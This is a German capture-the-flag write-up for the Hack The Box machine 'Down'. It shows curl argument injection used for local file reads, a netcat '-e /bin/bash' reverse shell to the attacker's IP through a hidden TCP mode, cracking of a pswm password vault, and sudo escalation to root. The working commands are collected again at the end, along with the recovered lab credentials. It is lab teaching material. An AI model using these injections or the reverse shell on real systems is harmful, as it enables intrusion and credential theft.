HTB · published
Down
HTB Vuln-Track Writeup zu Down: curl Argument Injection, Source Disclosure, Netcat Foothold, pswm Credential Recovery und sudo Privilege Escalation.
Metadaten
- Name: Down
- IP Address:
10.129.18.167 - Plattform: Linux
- Kategorie: Web / Local File Read / Credential Recovery / Sudo
- Schwierigkeit: Unknown
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Die Maschine hostet eine kleine PHP-Webanwendung, die URLs und TCP-Ports prüfen soll. Fehlerhafte Shell-Ausführung mit
escapeshellcmd()erlaubt Argument Injection. Dadurch werden lokale Dateien ausgelesen, Source Code offengelegt und später ein Reverse Shell übernc -eerzeugt. Die Eskalation erfolgt über eine lesbarepswm-Vault-Datei im Home-Verzeichnis vonaleks, deren Master-Passwort mitrockyou.txtgeknackt wird.aleksbesitzt anschließend vollständige sudo-Rechte.
Reconnaissance/ Enumeration
initscan:
ping -c 2 10.129.18.167
Ergebnis:
64 bytes from 10.129.18.167: icmp_seq=1 ttl=63
64 bytes from 10.129.18.167: icmp_seq=2 ttl=63
Die TTL 63 spricht für ein Linux-System hinter einem Hop. Danach wurde ein vollständiger TCP-Portscan durchgeführt:
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.167
Offene Ports:
22/tcp open ssh
80/tcp open http
servicescan:
nmap -sC -sV -O -p22,80 -oA scans/nmap_services 10.129.18.167
Relevante Ergebnisse:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
http-title: Is it down or just me?
Die Webanwendung auf Port 80 zeigte ein Formular mit dem Titel Is it down or just me?. Das Formular sendet einen Parameter url per POST an index.php.
curl -i -L http://10.129.18.167/
Relevanter HTML-Ausschnitt:
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required>
<button type="submit">Is it down?</button>
</form>
robots.txt und sitemap.xml existierten nicht:
curl -i http://10.129.18.167/robots.txt
curl -i http://10.129.18.167/sitemap.xml
Directory- und File-Fuzzing:
feroxbuster -u http://10.129.18.167/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
-x php,txt,bak,old,zip \
-k \
-o scans/ferox_root.txt
Interessante Treffer:
200 GET /style.css
200 GET /logo.png
200 GET /index.php
301 GET /javascript
301 GET /javascript/jquery
200 GET /javascript/jquery/jquery
Der jQuery-Treffer war nur die reguläre Apache/Javascript-Common-Auslieferung von jQuery 3.6.0 und kein eigener Anwendungscode.
Virtuelle Hosts wurden mit einem naheliegenden Hostnamen getestet, ergaben aber keine verwertbaren Treffer:
ffuf -u http://10.129.18.167/ \
-H 'Host: FUZZ.isitdownorjustme.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 739
Das Formular wurde anschließend funktional getestet. Eine Anfrage gegen 127.0.0.1 wurde vom Server erfolgreich ausgeführt:
curl -s -X POST \
--data-urlencode 'url=http://127.0.0.1/' \
http://10.129.18.167/index.php
Das bestätigte, dass die Anwendung serverseitig HTTP-Requests ausführt und deren Inhalt reflektiert.
Exploitation (Foothold)
Der erste Verdacht war SSRF oder Command/Argument Injection, da ein klassischer “is it down”-Checker oft intern curl, wget, ping oder ähnliche Tools nutzt.
Ein Callback auf die eigene VPN-IP zeigte den verwendeten User-Agent:
nc -lvnp 8000
Trigger:
curl -s -X POST \
--data-urlencode 'url=http://10.10.15.109:8000/probe' \
http://10.129.18.167/index.php
Eingehender Request:
GET /probe HTTP/1.1
Host: 10.10.15.109:8000
User-Agent: curl/7.81.0
Accept: */*
Damit war klar, dass backendseitig curl verwendet wird.
Argument Injection wurde getestet, indem ein zusätzlicher curl-Parameter in die URL eingefügt wurde:
curl -s -X POST \
--data-urlencode 'url=http://10.10.15.109:8001/argtest -A injected-agent' \
http://10.129.18.167/index.php
Der Listener sah danach:
GET /argtest HTTP/1.1
Host: 10.10.15.109:8001
User-Agent: injected-agent
Accept: */*
Das bestätigte, dass die Anwendung nicht sauber argumentiert, sondern eine Shell-Kommandozeile baut. Danach wurde die Protokollprüfung umgangen, indem als erstes Argument eine erlaubte HTTP-URL und als zweites Argument eine lokale Datei-URL übergeben wurde:
curl -s -X POST \
--data-urlencode 'url=http://127.0.0.1/ file:///etc/passwd' \
http://10.129.18.167/index.php
Die Ausgabe enthielt lokale Benutzer:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
Als nächstes wurde der PHP-Sourcecode gelesen:
curl -s -X POST \
--data-urlencode 'url=http://127.0.0.1/ file:///var/www/html/index.php' \
http://10.129.18.167/index.php
Der Code zeigte den Grund der Schwachstelle:
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
}
escapeshellcmd() escaped Metazeichen, quotet aber nicht das gesamte URL-Argument. Leerzeichen bleiben Argumenttrenner, wodurch zusätzliche curl-Argumente möglich sind.
Der Sourcecode enthielt zusätzlich einen versteckten TCP-Modus:
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
Im TCP-Modus wird ein Port geprüft:
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
}
Der Fehler liegt darin, dass intval($port) validiert wird, aber anschließend der rohe String $port in das Kommando wandert.
Mit -h wurde geprüft, welche Netcat-Variante installiert ist:
curl -s -X POST \
-d 'ip=10.10.15.109&port=80 -h' \
'http://10.129.18.167/index.php?expertmode=tcp'
Die Ausgabe zeigte -e-Support:
-e filename program to exec after connect [dangerous!!]
Reverse Shell:
nc -lvnp 4446
Trigger:
curl -s -X POST \
--data-urlencode 'ip=10.10.15.109' \
--data-urlencode 'port=4446 -e /bin/bash' \
'http://10.129.18.167/index.php?expertmode=tcp'
Shell-Kontext:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname: down
pwd: /var/www/html
TTY-Upgrade:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Lateral Movement / User Escalation
Als www-data wurde das Dateisystem nach lesbaren Artefakten durchsucht:
find /home/aleks -maxdepth 4 -type f -printf '%p %u:%g %m\n' 2>/dev/null
Auffällig war:
/home/aleks/.local/share/pswm/pswm aleks:aleks 664
Die Datei war für www-data lesbar und enthielt einen verschlüsselten Vault-String:
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
Das Tool war lokal installiert:
which pswm
sed -n '1,520p' /usr/bin/pswm
pswm nutzt das Python-Modul cryptocode:
encrypted_text = cryptocode.encrypt(decrypted_text, master_password)
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
Die Implementierung verwendet:
scrypt(password, salt, n=2^14, r=8, p=1, dklen=32)
AES-GCM
Zum Offline-Cracking wurde ein kleiner Cracker erstellt:
python3 privesc/crack_pswm.py loot/pswm_vault.txt /usr/share/wordlists/rockyou.txt -j 8
Ergebnis:
[+] master_password=flower
pswm aleks flower
aleks@down aleks 1uY3w22uc-Wr{xNHR~+E
Mit dem Passwort wurde zu aleks gewechselt:
su - aleks
Verifizierung:
whoami
id
Ergebnis:
aleks
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
Privilege Escalation (Root / Domain)
Da aleks Mitglied der Gruppe sudo war, wurde zuerst sudo -l geprüft:
sudo -l
Ausgabe:
User aleks may run the following commands on down:
(ALL : ALL) ALL
Damit war keine weitere Kernel-, LXD- oder Service-Eskalation nötig. Root-Shell:
sudo -i
Verifizierung:
whoami
id
hostname
Ergebnis:
root
uid=0(root) gid=0(root) groups=0(root)
down
Post-Exploitation
- User Flag
Pfad:
/var/www/html/user_aeT1xa.txt
Geschwärzter Wert:
d4bc9[REDACTED-USER-FLAG]cacd
- Root Flag
Pfad:
/root/root.txt
Geschwärzter Wert:
87bb9[REDACTED-ROOT-FLAG]fdcb
- Screenshots
Keine Screenshots erstellt. Proofs liegen als Textartefakte im Projektverzeichnis.
- Wichtige Dateien
reports/final_walkthrough.md
reports/down_writeup.md
notes/master_notes.md
notes/attack_plan.md
loot/pswm_vault.txt
loot/user_flag.txt
loot/root_flag.txt
privesc/crack_pswm.py
- Relevante Logs oder Proofs
scans/nmap_full_tcp.txt
scans/nmap_services.nmap
scans/ferox_root.txt
web/source_index_response.html
web/expert_nc_help.html
privesc/pswm_crack_rockyou.txt
credentials.txt
Lessons Learned
- Der wichtigste Aha-Moment war, dass
escapeshellcmd()keine saubere Argument-Isolation bietet. Wenn untrusted Input in ein Shell-Kommando eingebettet wird, können Leerzeichen weiterhin neue Argumente erzeugen. - Ich hätte früher gezielt auf Hidden Modes und Parameter geachtet. Der Sourcecode enthielt mit
expertmode=tcpden direkten Foothold-Hinweis. - Die Technik, eine erlaubte
http://-URL mit einer zweitenfile://-URL als zusätzliches curl-Argument zu kombinieren, ist sehr nützlich für lokale File Reads bei unsauber gebautem curl-Aufruf. - Bei Linux-Privesc sollte ich lesbare Dateien unter
~/.local/share,~/.configund lokalen Passwortmanagern früh prüfen. Hier warpswmder entscheidende Credential-Store. - Validierung von transformierten Werten ist gefährlich, wenn anschließend der rohe Wert verwendet wird. Hier wurde
intval($port)validiert, aber$portausgeführt.
Notizen
Nützliche Commands:
# Full TCP scan
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.167
# Service scan
nmap -sC -sV -O -p22,80 -oA scans/nmap_services 10.129.18.167
# curl argument injection test
curl -s -X POST \
--data-urlencode 'url=http://10.10.15.109:8001/argtest -A injected-agent' \
http://10.129.18.167/index.php
# Local file read
curl -s -X POST \
--data-urlencode 'url=http://127.0.0.1/ file:///etc/passwd' \
http://10.129.18.167/index.php
# Source disclosure
curl -s -X POST \
--data-urlencode 'url=http://127.0.0.1/ file:///var/www/html/index.php' \
http://10.129.18.167/index.php
# Netcat -e support check
curl -s -X POST \
-d 'ip=10.10.15.109&port=80 -h' \
'http://10.129.18.167/index.php?expertmode=tcp'
# Reverse shell
nc -lvnp 4446
curl -s -X POST \
--data-urlencode 'ip=10.10.15.109' \
--data-urlencode 'port=4446 -e /bin/bash' \
'http://10.129.18.167/index.php?expertmode=tcp'
# Crack pswm vault
python3 privesc/crack_pswm.py loot/pswm_vault.txt /usr/share/wordlists/rockyou.txt -j 8
# Root via sudo
su - aleks
sudo -l
sudo -i
Credentials aus dem Vault:
pswm master password: flower
aleks: 1uY3w22uc-Wr{xNHR~+E